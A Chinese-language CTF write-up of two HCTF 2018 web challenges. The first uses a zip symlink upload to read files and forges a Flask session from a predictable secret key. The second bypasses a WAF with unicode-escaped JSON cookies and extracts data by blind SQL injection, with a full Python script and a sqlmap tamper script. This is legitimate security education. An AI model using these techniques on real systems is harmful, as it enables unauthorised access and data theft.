HCTF两道web题目

HCTF WEB wp

官方Writeup: [https://bysec.io/hctf/writeup.html]
所有源码: [https://github.com/vidar-team/HCTF2018]

HCTF的题目总体来说相当不错,部分题目质量很高,同时也有很多我没有考虑到的地方,这里记录一哈学习笔记。

hide and seek

这道题目质量相当不错,来源于实际。
Description
only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug
URL http://hideandseek.2018.hctf.io
Base Score 1000.00
Now Score 424.63
Team solved 25

http://hideandseek.2018.hctf.io/
主界面

<div id="navbar" class="collapse navbar-collapse">
      <ul class="nav navbar-nav">
        <li class="active"><a href="/#">Home</a></li>
        <li><a href="#about">About</a></li>
        <li><a href="#contact">Contact</a></li>
      </ul>
  
     <form class="navbar-form navbar-right" action="login" method="post" >
       <div class="form-group">
       <input type="text" placeholder="username" name="username" class="form-control">
      </div>

      <div class="form-group">
       <input type="password" placeholder="password" name="password" class="form-control">
       </div>
       <button type="submit" class="btn btn-success">Sign in</button>
    </form>
</div>

<h1>For more information, please login.</h1>

然后随便一个用户就可以登录,登录后是一个上传界面

<div id="navbar" class="collapse navbar-collapse">
  <ul class="nav navbar-nav">
    <li class="active"><a href="/#">Home</a></li>
    <li><a href="#about">About</a></li>
    <li><a href="#contact">Contact</a></li>
  </ul>


  <div class="navbar-form navbar-right">
    <ul class="nav navbar-nav">
     <li ><a href="#">admin@qq.coms</a></li>
     <li><a href="logout">Logout</a></li>
   </ul>

   <p class="lead">

    <h1>Hello, admin@qq.coms. </h1>
    <h3>I will tell you a secret, but you should upload a zipfile first.</h3>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input type="file" name="the_file"  /> 
      <input type="submit" name="submit" value="Submit" />
    </form>

这里需要上传zip文件,猜测需要zip软链接任意文件读取,参考这篇文章

┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $ln -s /etc/passwd link
┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $zip --symlinks test.zip link
  adding: link (stored 0%)
┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $ls
link  test.zip

上传文件

POST /upload HTTP/1.1
Host: hideandseek.2018.hctf.io
Content-Length: 459
Cache-Control: max-age=0
Origin: http://hideandseek.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpFlNQbuY8hgJaFQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hideandseek.2018.hctf.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close

------WebKitFormBoundaryLpFlNQbuY8hgJaFQ
Content-Disposition: form-data; name="the_file"; filename="test.zip"
Content-Type: application/zip

PK��
¶�kM
¹�)����linkUT   �§óè[ªóè[ux���è��è�/etc/passwdPK����
¶�kM
¹�)����ÿ¡linkUT��§óè[ux���è��è�PK����JI
------WebKitFormBoundaryLpFlNQbuY8hgJaFQ
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryLpFlNQbuY8hgJaFQ--
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 03:30:44 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 1020

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
messagebus:x:102:103::/var/run/dbus:/bin/false

这样就可以任意文件读取了。
最后在/proc/self/environ中读取到了一些有用的配置

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 03:49:09 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 775

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=975f0d211f5a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

这里可以看到/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:07:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 95

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
rm link&&ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini link&&zip --symlinks test.zip link

然后读取相应文件

┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py link&&zip --symlinks test.zip link
updating: link (stored 0%)
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 10:59:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2703

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')

@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))

@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'

    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)

if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)
└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html link&&zip --symlinks test.zip link
updating: link (stored 0%)
<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <div id="navbar" class="collapse navbar-collapse">
    <ul class="nav navbar-nav">
      <li class="active"><a href="/#">Home</a></li>
      <li><a href="#about">About</a></li>
      <li><a href="#contact">Contact</a></li>
    </ul>

    {% if user %}
    <div class="navbar-form navbar-right">
      <ul class="nav navbar-nav">
       <li ><a href="#">{{ user  }}</a></li>
       <li><a href="logout">Logout</a></li>
     </ul>

     {% else %}
     <form class="navbar-form navbar-right" action="login" method="post" >
      <div class="form-group">
        <input type="text" placeholder="username" name="username" class="form-control">
      </div>
      <div class="form-group">
        <input type="password" placeholder="password" name="password" class="form-control">
      </div>
      <button type="submit" class="btn btn-success">Sign in</button>
    </form>
    {% endif %}

  </div>
  <div class="starter-template">
    <p class="lead">
      {% if user %}
      <br>
      <h1>Hello, {{ user }}. </h1>
      <br>
      {% if user == 'admin' %}
      Your flag: <br>
      {{ flag  }}
      <br>
      {% else %}
      <br>
      <h3>I will tell you a secret, but you should upload a zipfile first.</h3>
      <br>
      <form action="/upload" method="post"
      enctype="multipart/form-data">
      <input type="file" name="the_file"  /> 
      <input type="submit" name="submit" value="Submit" />
    </form>
    <br>
    {% endif %}
    {% else %}
    <br>
    <h1>For more information, please login.</h1>
    {% endif %}
  </p>
</div>
</div>
{% if forbidden %}
<script type="text/javascript">alert("Sorry, you are not admin!")</script>>
{% endif %}
</body>
</html>

flask框架简化后如下:

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')

@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))

@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

这里可以看到,我们无法以admin用户进行登录,就需要伪造admin身份,而且这里判断依据是user=session['username']。
但是这段代码看起来完美无缺,简短精憾,在不考虑0day的情况下,而且ctf题目一定有解(除国赛web2)的情况下。
所以问题只有可能出现在这里。

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

通过这些信息进行伪造admin用户。
需要序列号

┌─[thekingofnight@parrot]─[~/Tools]
└──╼ $rm link&&ln -s /app/main.py link&&zip --symlinks test.zip link
updating: link (stored 0%)

首先查看python的版本

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 11:03:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 257

from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return "Hello World from Flask in a uWSGI Nginx Docker container with \
     Python 3.6 (default)"

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

根据python3.6的特征

app.config['SECRET_KEY']是这里的随机数
不过种子是random.seed(uuid.getnode()),也就是机器的mac地址(固定可读)

所以这里可以预测随机数
针对uuid.getnode()
读取/sys/class/net/eth0/address

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 11:05:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 18
Connection: close

12:34:3e:14:7c:62

最后需要的东西都已经齐全了,本地得到session然后直接在服务器端替换就好
最后

GET / HTTP/1.1
Host: hideandseek.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hideandseek.2018.hctf.io/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: _ga=GA1.2.1633104795.1541783595; _gid=GA1.2.2136505943.1541783595; session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 11:48:43 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Cookie
Content-Length: 2336


<!DOCTYPE html>
<html lang="zh-CN">
<body>
  <div id="navbar" class="collapse navbar-collapse">
    <ul class="nav navbar-nav">
      <li class="active"><a href="/#">Home</a></li>
      <li><a href="#about">About</a></li>
      <li><a href="#contact">Contact</a></li>
    </ul>
    <div class="navbar-form navbar-right">
      <ul class="nav navbar-nav">
       <li ><a href="#">admin</a></li>
       <li><a href="logout">Logout</a></li>
     </ul>
     <div class="starter-template">
      <p class="lead">
        <br>
        <h1>Hello, admin. </h1>
        Your flag: <br>
        hctf{2495e2ef667b367a0738f5eae9d6afb983c2}
      </p>
    </div>
  </div><!-- /.container -->
</body>
</html>

kzone

这到题目相当不错,同时也显现了我代码审计的许多不足
www.zip源码泄露

├── 2018.php
├── admin
│   ├── delete.php
│   ├── export.php
│   ├── index.php
│   ├── list.php
│   ├── login.php
│   └── pass.php
├── config.php
├── Default account&password.txt
├── include
│   ├── common.php
│   ├── db.class.php
│   ├── function.php
│   ├── kill.intercept.php
│   ├── member.php
│   ├── os.php
│   └── safe.php
├── index.php
├── install.sql
├── robots.txt
├── Tutorial.txt
└── www.zip

以下是我代码审计的一种安全观,当然我个人比较喜欢全文通读代码,同时技术也比较菜...

/include/* 中就是很多函数的方法
/admin/* 就是管理员常用的一些功能
/* 就是外面展现给用户的一部分
Tutorial.txt

这里就是告诉数据库密码是md5保存的
而且2838778326根据google搜索可以知道这是钓鱼网站
/index.php

<?php
require_once 'include/common.php';
?>
<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <title>Mobile phone unified login</title>
    <form action="2018.php" method="post" onSubmit="return ts()">
        <div id="q_logon_list" class="q_logon_list"></div>
    </div>
    <div id="web_login">
        <ul id="g_list">
            <div id="del_touch" class="del_touch"><span id="del_u" class="del_u"></span></div>
            <input id="u" class="inputstyle" name="user" autocomplete="off" placeholder="KK_Account/Phone/Email"></li>
            <li id="g_p">
                <div id="del_touch_p" class="del_touch"><span id="del_p" class="del_u"></span></div>
                <input id="p" class="inputstyle" maxlength="16" type="password" name="pass" autocorrect="off"
                placeholder="Input your KK_Account please"></li>
            </ul>
            <button id="go" name="submit">Login</button>
            <div href="javascript:void(0);" id="onekey">Login quickly</div>
        </div>
        <div id="switch">
            <div id="swicth_login" onClick="pt._switch()" style="display:none"></div>
            <div id="zc_feedback"><span id="zc"
                onclick="window.open('https://ssl.zc.qq.com/v3/index-chs.html?from=pt')">Register</span>
                <span id="forgetpwd">Retrieve password</span></div>
            </div>
        </form>
    </head>
    </html>

这里只需要关注

require_once 'include/common.php';
<form action="2018.php"

在看

/include/common.php
<?php
    
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb768526');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();

include ROOT.'../config.php';

if(!isset($port))$port='3306';
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);

$password_hash='!@#%!s!';
require_once "safe.php";
require_once ROOT."function.php";
require_once ROOT."member.php";
require_once ROOT."os.php";
require_once ROOT."kill.intercept.php";
?>

这里$password_hash='!@#%!s!';理论上应该可以得到许多意想不到的东西
不过在这里,关注以下内容

define('IN_CRONLITE', true);
session_start();
/include/safe.php

<?php
function waf($string)
{
    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
    return preg_replace_callback($blacklist, function ($match) {
        return '@' . $match[0] . '@';
    }, $string);
}

function safe($string)
{
    if (is_array($string)) {
        foreach ($string as $key => $val) {
            $string[$key] = safe($val);
        }
    } else {
        $string = waf($string);
    }
    return $string;
}

foreach ($_GET as $key => $value) {
    if (is_string($value) && !is_numeric($value)) {
        $value = safe($value);
    }
    $_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
    if (is_string($value) && !is_numeric($value)) {
        $value = safe($value);
    }
    $_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
    if (is_string($value) && !is_numeric($value)) {
        $value = safe($value);
    }
    $_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>

这里过滤了很多东西,使sql注入变的很棘手,不过没有过滤裸露的',同时,对参数的过滤没有过滤XFF

member.php

<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }
}
if (isset($_SESSION['islogin'])) {
    if ($_SESSION["admin_user"]) {
        $admin_user = base64_decode($_SESSION['admin_user']);
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $_SESSION["admin_pass"]) {
            $islogin = 1;
        }
    }
}
?>

这里首先判断了defined('IN_CRONLITE'),当然在common中定义了,意外着所有包含了'include/common.php'的文件都会进行member的审核。
然后首先判断有没有_COOKIE["islogin"]),在判断admin_user(当然是admin),同时进行数据库查询,如果没有成功查询,就返回两个set-cookie,后面admin_pass如果数据库查询的结果做比较,如果未果,就再返回两个set,当然这里需要注意使用了==,同时,数据库数据存储的是md5。
所以这里就可以采用经典的md5绕过,根据set-cookie来进行盲注。
当然大前提是得过waf。
而且这里admin_pass中采用了==,利用php的漏洞,可以直接数字与字符串进行比较,只需要前面数字部分匹配就好了。
最后fuzz可以直接得出

Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}

数据应该是在数据库中的,fuzz最后使用unicode编码绕过,思路:

union->\u0075nion

md5绕过

islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}

set-cookie盲住回显
send

GET /include/common.php HTTP/1.1
Host: kzone.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":1}
Connection: close

response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:28:58 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Set-Cookie: PHPSESSID=r64690s2u5l79i1ib7eodiplo6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

send

GET /include/common.php HTTP/1.1
Host: kzone.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}
Connection: close

response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:28:27 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Set-Cookie: PHPSESSID=jst6ilm633mcctc5plva3qg4n1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

send

GET /include/common.php HTTP/1.1
Host: kzone.2018.hctf.io
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: islogin=1;login_data={"admin_user":"admin1","admin_pass":1}
Connection: close

response

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 12 Nov 2018 09:30:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Set-Cookie: PHPSESSID=8f388a7k195v6j0dkdg7oejl37; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

这里所有/include/common.php的都会受影响
接着看
2018.php

2018.php
<?php
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
if ($ipcount < 3) {
    $username = addslashes($_POST['user']);
    $password = addslashes($_POST['pass']);
    $address = getCity($realip);
    $time = date("Y-m-d H:i:s");
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $device = get_device($ua);
    $sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
    $DB->query($sql);
    header("Location: https://i.qq.com/?rd=" . $username);
} else {
    header("Location: https://i.qq.com/?rd=" . $username);
}
?>

这里调用了real_ip()方法,在kill.intercept.php中定义,这里只贴简化代码

function real_ip()
{
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = $list[0];
    }
    if (!ip2long($ip)) {
        $ip = '';
    }
    return $ip;
}

这里应该ip2long将ip转换为数字,再根据之前的分析ip已经没有注入漏洞了。

在safe.php过滤的情况下,其他*.php就不分析了,几乎可以通杀,登录到admin执行sql语句就会十分方便。

这里给出sql注入的方法
根据set-cookie的不同写脚本

import requests
import string

def test_once(index,s):
    session = requests.Session()
    paramsPost = {"login":"Login","pass":"1","user":"admin"}
    cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}
    response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)
    flag = response.headers['Set-Cookie'].count('islogin')
    if flag == 1:
        print(index,s,'yes')
        return True
    elif flag == 2:
        print(index,s,'no')
    else:
        print('[-] may be error,{}'.format(s))
    return False

def hack():
    ss = string.printable
    num = 41
    flag = ''
    end = 0
    i = 1
    for i in range(1,num):
        for s in ss:
            if test_once(i,s+flag):
                flag = s+flag
                break
        print flag
    print flag

if __name__=='__main__':
    hack()

也可以使用sqlmap注入,sqlmap自己写paylaod的可以参考这里

a.txt

POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://kzone.2018.hctf.io/admin/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: islogin=1;login_data=*
Connection: close
Upgrade-Insecure-Requests: 1

user=admin&pass=1&login=Login
/usr/share/sqlmap/tamper/hctf.py

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    data = '''{"admin_user":"admin%s","admin_pass":65};'''
    payload = payload.lower()
    payload = payload.replace('u', '\u0075')
    payload = payload.replace('o', '\u006f')
    payload = payload.replace('i', '\u0069')
    payload = payload.replace('\'', '\u0027')
    payload = payload.replace('\"', '\u0022')
    payload = payload.replace(' ', '\u0020')
    payload = payload.replace('s', '\u0073')
    payload = payload.replace('#', '\u0023')
    payload = payload.replace('>', '\u003e')
    payload = payload.replace('<', '\u003c')
    payload = payload.replace('-', '\u002d')
    payload = payload.replace('=', '\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return data % payload
payload

┌─[thekingofnight@parrot]─[~/Temp]
└──╼ $sqlmap -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs
result

available databases [3]:
[*] hctf_kouzone
[*] information_schema
[*] mysql

剩下的就无脑操作了。
这到题目好像有写的权限,数据库里有一些不可名状的东西,服务器今天还中断了一段时间,联系出题人才修好。

自己的不足之处

1.json 反序列化时,会将Unicode 解码的特性,实现了完全绕过 WAF ,这里其实是我过滤的不够完善了。大家可以想一下,如果\ 也被过滤掉,还有没有其他姿势呢?
2.过滤了 or 导致没有办法通过 information_schema 库来查询表名,然而其实MySQL 5.7 之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

而从 install.sql 中可以看出,网站使用的正是innodb 引擎

CREATE TABLE IF NOT EXISTS `fish_admin` (
  `id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(20) NOT NULL,
  `password` char(32) NOT NULL,
  `name` varchar(255) DEFAULT '',
  `qq` varchar(255) DEFAULT '',
  `per` int(11) NOT NULL DEFAULT '3',
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=innodb  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

参考

http://www.vuln.cn/8132
http://www.melodia.pw/?p=918
https://www.anquanke.com/post/id/163958#h2-0
